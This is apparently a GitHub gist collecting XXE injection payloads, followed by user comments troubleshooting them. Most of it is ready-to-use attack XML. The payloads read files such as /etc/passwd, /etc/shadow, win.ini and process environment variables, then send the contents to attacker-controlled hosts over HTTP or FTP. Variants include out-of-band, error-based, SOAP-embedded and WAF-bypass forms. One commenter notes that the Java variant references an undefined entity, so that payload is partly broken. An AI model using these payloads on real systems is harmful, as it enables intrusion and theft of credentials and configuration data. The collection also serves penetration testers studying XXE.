XXE Payloads

XXE_payloads

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
 
## External dtd: ##
 
<!ENTITY all "%start;%stuff;%end;">

------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
  %one;
  %two;
  %four;
]>

## External dtd: ##

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

-------------------------^ you might need to encode this % (depends on your target) as: &#x25;

--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [ 
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>


## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

pull request to seclist pls? :)

really good~ thanks

The <!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'> part might not work if your XML parser doesn't do URL encoding ootb (will report "incorrect url").

@adamczi any workaround for if XML parser doesn't do URL encoding ootb ?

@Shapa7276 haven't found, it's just that it accepts only alphanumeric stuff in there, so if you can somehow filter out special chars, it will work normally.

Hello guys,
Firstly thank you for this job, I tried this kind of payload, i'm stuck :

Parser payload :

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://@evilServer:8000/ev.dtd">
    %ext;
]>
<message></message>

External ev.dtd :

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Evil server LOG :
[31/Jul/2020 13:05:07] "GET /ev.dtd HTTP/1.0" 200 -

Error message in server :

File "http://EvilServer:8000/ev.dtd", line 2
lxml.etree.XMLSyntaxError: Detected an entity reference loop, line 2, column 77

Can you help me please ?

@staaldraad there is an error in the "OoB extra ERROR -- Java" payload - the DTD file should say "file:///nothere/%data3;" as the %payload entity doesn't exist.

Thanks it's useful

ygiobrmctie74tz4chetsq3omfs7gw.burpcollaborator.net